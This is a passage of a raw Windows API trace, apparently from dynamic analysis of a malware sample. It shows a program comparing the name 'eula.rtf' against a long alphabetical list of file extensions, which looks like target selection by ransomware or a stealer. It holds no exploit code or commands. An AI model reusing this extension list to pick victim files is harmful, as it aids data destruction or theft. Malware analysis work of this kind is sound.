	[0060.166] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.166] lstrlenW (lpString=".arw") returned 4
	[0060.167] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".as") returned 3
	[0060.167] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.167] lstrlenW (lpString=".asa") returned 4
	[0060.167] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".asc") returned 4
	[0060.167] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".ascx") returned 5
	[0060.167] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.167] lstrlenW (lpString=".asm") returned 4
	[0060.167] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".asmx") returned 5
	[0060.167] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.167] lstrlenW (lpString=".asp") returned 4
	[0060.167] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".aspx") returned 5
	[0060.167] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.167] lstrlenW (lpString=".asr") returned 4
	[0060.167] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".asx") returned 4
	[0060.167] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".avi") returned 4
	[0060.167] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".avs") returned 4
	[0060.167] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".backup") returned 7
	[0060.167] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.167] lstrlenW (lpString=".bak") returned 4
	[0060.167] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.167] lstrlenW (lpString=".bay") returned 4
	[0060.168] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".bd") returned 3
	[0060.168] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.168] lstrlenW (lpString=".bin") returned 4
	[0060.168] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".bmp") returned 4
	[0060.168] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".bz2") returned 4
	[0060.168] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".c") returned 2
	[0060.168] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.168] lstrlenW (lpString=".cdr") returned 4
	[0060.168] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".cer") returned 4
	[0060.168] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".cf") returned 3
	[0060.168] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.168] lstrlenW (lpString=".cfc") returned 4
	[0060.168] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".cfm") returned 4
	[0060.168] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".cfml") returned 5
	[0060.168] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.168] lstrlenW (lpString=".cfu") returned 4
	[0060.168] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".chm") returned 4
	[0060.168] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".cin") returned 4
	[0060.168] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.168] lstrlenW (lpString=".class") returned 6
	[0060.168] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.169] lstrlenW (lpString=".clx") returned 4
	[0060.169] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".config") returned 7
	[0060.169] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.169] lstrlenW (lpString=".cpp") returned 4
	[0060.169] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".cr2") returned 4
	[0060.169] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".crt") returned 4
	[0060.169] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".crw") returned 4
	[0060.169] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".cs") returned 3
	[0060.169] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.169] lstrlenW (lpString=".css") returned 4
	[0060.169] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".csv") returned 4
	[0060.169] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".cub") returned 4
	[0060.169] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".dae") returned 4
	[0060.169] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".dat") returned 4
	[0060.169] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".db") returned 3
	[0060.169] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.169] lstrlenW (lpString=".dbf") returned 4
	[0060.169] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".dbx") returned 4
	[0060.169] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.169] lstrlenW (lpString=".dc3") returned 4
	[0060.170] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".dcm") returned 4
	[0060.170] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".dcr") returned 4
	[0060.170] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".der") returned 4
	[0060.170] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".dib") returned 4
	[0060.170] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".dic") returned 4
	[0060.170] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".dif") returned 4
	[0060.170] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".divx") returned 5
	[0060.170] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.170] lstrlenW (lpString=".djvu") returned 5
	[0060.170] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.170] lstrlenW (lpString=".dng") returned 4
	[0060.170] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".doc") returned 4
	[0060.170] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".docm") returned 5
	[0060.170] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.170] lstrlenW (lpString=".docx") returned 5
	[0060.170] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.170] lstrlenW (lpString=".dot") returned 4
	[0060.170] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.170] lstrlenW (lpString=".dotm") returned 5
	[0060.170] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.170] lstrlenW (lpString=".dotx") returned 5
	[0060.171] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.171] lstrlenW (lpString=".dpx") returned 4
	[0060.171] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".dqy") returned 4
	[0060.171] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".dsn") returned 4
	[0060.171] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".dt") returned 3
	[0060.171] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.171] lstrlenW (lpString=".dtd") returned 4
	[0060.171] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".dwg") returned 4
	[0060.171] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".dwt") returned 4
	[0060.171] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".dx") returned 3
	[0060.171] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.171] lstrlenW (lpString=".dxf") returned 4
	[0060.171] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".edml") returned 5
	[0060.171] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.171] lstrlenW (lpString=".efd") returned 4
	[0060.171] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".elf") returned 4
	[0060.171] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".emf") returned 4
	[0060.171] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".emz") returned 4
	[0060.171] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.171] lstrlenW (lpString=".epf") returned 4
	[0060.171] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".eps") returned 4
	[0060.172] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".epsf") returned 5
	[0060.172] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.172] lstrlenW (lpString=".epsp") returned 5
	[0060.172] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.172] lstrlenW (lpString=".erf") returned 4
	[0060.172] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".exr") returned 4
	[0060.172] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".f4v") returned 4
	[0060.172] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".fido") returned 5
	[0060.172] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.172] lstrlenW (lpString=".flm") returned 4
	[0060.172] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".flv") returned 4
	[0060.172] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".frm") returned 4
	[0060.172] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".fxg") returned 4
	[0060.172] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".geo") returned 4
	[0060.172] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".gif") returned 4
	[0060.172] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".grs") returned 4
	[0060.172] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.172] lstrlenW (lpString=".gz") returned 3
	[0060.172] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.173] lstrlenW (lpString=".h") returned 2
	[0060.173] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.173] lstrlenW (lpString=".hdr") returned 4
	[0060.173] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".hpp") returned 4
	[0060.173] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".hta") returned 4
	[0060.173] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".htc") returned 4
	[0060.173] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".htm") returned 4
	[0060.173] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".html") returned 5
	[0060.173] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.173] lstrlenW (lpString=".icb") returned 4
	[0060.173] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".ics") returned 4
	[0060.173] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".iff") returned 4
	[0060.173] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".inc") returned 4
	[0060.173] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".indd") returned 5
	[0060.173] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.173] lstrlenW (lpString=".ini") returned 4
	[0060.173] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".iqy") returned 4
	[0060.173] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".j2c") returned 4
	[0060.173] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.173] lstrlenW (lpString=".j2k") returned 4
	[0060.174] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".java") returned 5
	[0060.174] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.174] lstrlenW (lpString=".jp2") returned 4
	[0060.174] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".jpc") returned 4
	[0060.174] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".jpe") returned 4
	[0060.174] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".jpeg") returned 5
	[0060.174] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.174] lstrlenW (lpString=".jpf") returned 4
	[0060.174] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".jpg") returned 4
	[0060.174] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".jpx") returned 4
	[0060.174] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".js") returned 3
	[0060.174] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.174] lstrlenW (lpString=".jsf") returned 4
	[0060.174] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".json") returned 5
	[0060.174] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.174] lstrlenW (lpString=".jsp") returned 4
	[0060.174] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".kdc") returned 4
	[0060.174] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".kmz") returned 4
	[0060.174] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.174] lstrlenW (lpString=".kwm") returned 4
	[0060.174] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".lasso") returned 6
	[0060.175] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.175] lstrlenW (lpString=".lbi") returned 4
	[0060.175] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".lgf") returned 4
	[0060.175] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".lgp") returned 4
	[0060.175] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".log") returned 4
	[0060.175] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".m1v") returned 4
	[0060.175] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".m4a") returned 4
	[0060.175] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".m4v") returned 4
	[0060.175] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".max") returned 4
	[0060.175] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".md") returned 3
	[0060.175] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.175] lstrlenW (lpString=".mda") returned 4
	[0060.175] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".mdb") returned 4
	[0060.175] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".mde") returned 4
	[0060.175] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".mdf") returned 4
	[0060.175] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".mdw") returned 4
	[0060.175] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.175] lstrlenW (lpString=".mef") returned 4
	[0060.176] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mft") returned 4
	[0060.176] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mfw") returned 4
	[0060.176] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mht") returned 4
	[0060.176] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mhtml") returned 6
	[0060.176] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.176] lstrlenW (lpString=".mka") returned 4
	[0060.176] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mkidx") returned 6
	[0060.176] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.176] lstrlenW (lpString=".mkv") returned 4
	[0060.176] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mos") returned 4
	[0060.176] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mov") returned 4
	[0060.176] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mp3") returned 4
	[0060.176] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mp4") returned 4
	[0060.176] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mpeg") returned 5
	[0060.176] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.176] lstrlenW (lpString=".mpg") returned 4
	[0060.176] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mpv") returned 4
	[0060.176] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.176] lstrlenW (lpString=".mrw") returned 4
	[0060.176] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".msg") returned 4
	[0060.177] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".mxl") returned 4
	[0060.177] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".myd") returned 4
	[0060.177] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".myi") returned 4
	[0060.177] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".nef") returned 4
	[0060.177] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".nrw") returned 4
	[0060.177] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".obj") returned 4
	[0060.177] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".odb") returned 4
	[0060.177] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".odc") returned 4
	[0060.177] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".odm") returned 4
	[0060.177] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".odp") returned 4
	[0060.177] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".ods") returned 4
	[0060.177] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".oft") returned 4
	[0060.177] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".one") returned 4
	[0060.177] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.177] lstrlenW (lpString=".onepkg") returned 7
	[0060.177] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.177] lstrlenW (lpString=".onetoc2") returned 8
	[0060.177] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.177] lstrlenW (lpString=".opt") returned 4
	[0060.177] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".oqy") returned 4
	[0060.178] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".orf") returned 4
	[0060.178] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".p12") returned 4
	[0060.178] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".p7b") returned 4
	[0060.178] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".p7c") returned 4
	[0060.178] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pam") returned 4
	[0060.178] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pbm") returned 4
	[0060.178] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pct") returned 4
	[0060.178] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pcx") returned 4
	[0060.178] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pdd") returned 4
	[0060.178] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pdf") returned 4
	[0060.178] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pdp") returned 4
	[0060.178] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pef") returned 4
	[0060.178] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pem") returned 4
	[0060.178] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pff") returned 4
	[0060.178] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.178] lstrlenW (lpString=".pfm") returned 4
	[0060.178] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.179] lstrlenW (lpString=".pfx") returned 4
	[0060.179] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.179] lstrlenW (lpString=".pgm") returned 4
	[0060.179] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.179] lstrlenW (lpString=".php") returned 4
	[0060.179] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.179] lstrlenW (lpString=".php3") returned 5
	[0060.179] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.179] lstrlenW (lpString=".php4") returned 5
	[0060.179] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.179] lstrlenW (lpString=".php5") returned 5
	[0060.179] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.179] lstrlenW (lpString=".phtml") returned 6
	[0060.179] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.179] lstrlenW (lpString=".pict") returned 5
	[0060.179] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.181] lstrlenW (lpString=".pl") returned 3
	[0060.181] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.181] lstrlenW (lpString=".pls") returned 4
	[0060.181] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.181] lstrlenW (lpString=".pm") returned 3
	[0060.181] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.181] lstrlenW (lpString=".png") returned 4
	[0060.181] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.181] lstrlenW (lpString=".pnm") returned 4
	[0060.181] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.181] lstrlenW (lpString=".pot") returned 4
	[0060.181] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.181] lstrlenW (lpString=".potm") returned 5
	[0060.181] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.181] lstrlenW (lpString=".potx") returned 5
	[0060.181] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.181] lstrlenW (lpString=".ppa") returned 4
	[0060.181] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.181] lstrlenW (lpString=".ppam") returned 5
	[0060.181] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.182] lstrlenW (lpString=".ppm") returned 4
	[0060.182] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".pps") returned 4
	[0060.182] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".ppsm") returned 5
	[0060.182] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.182] lstrlenW (lpString=".ppt") returned 4
	[0060.182] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".pptm") returned 5
	[0060.182] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.182] lstrlenW (lpString=".pptx") returned 5
	[0060.182] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.182] lstrlenW (lpString=".prn") returned 4
	[0060.182] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".ps") returned 3
	[0060.182] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.182] lstrlenW (lpString=".psb") returned 4
	[0060.182] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".psd") returned 4
	[0060.182] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".pst") returned 4
	[0060.182] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".ptx") returned 4
	[0060.182] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".pub") returned 4
	[0060.182] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".pwm") returned 4
	[0060.182] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.182] lstrlenW (lpString=".pxr") returned 4
	[0060.182] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
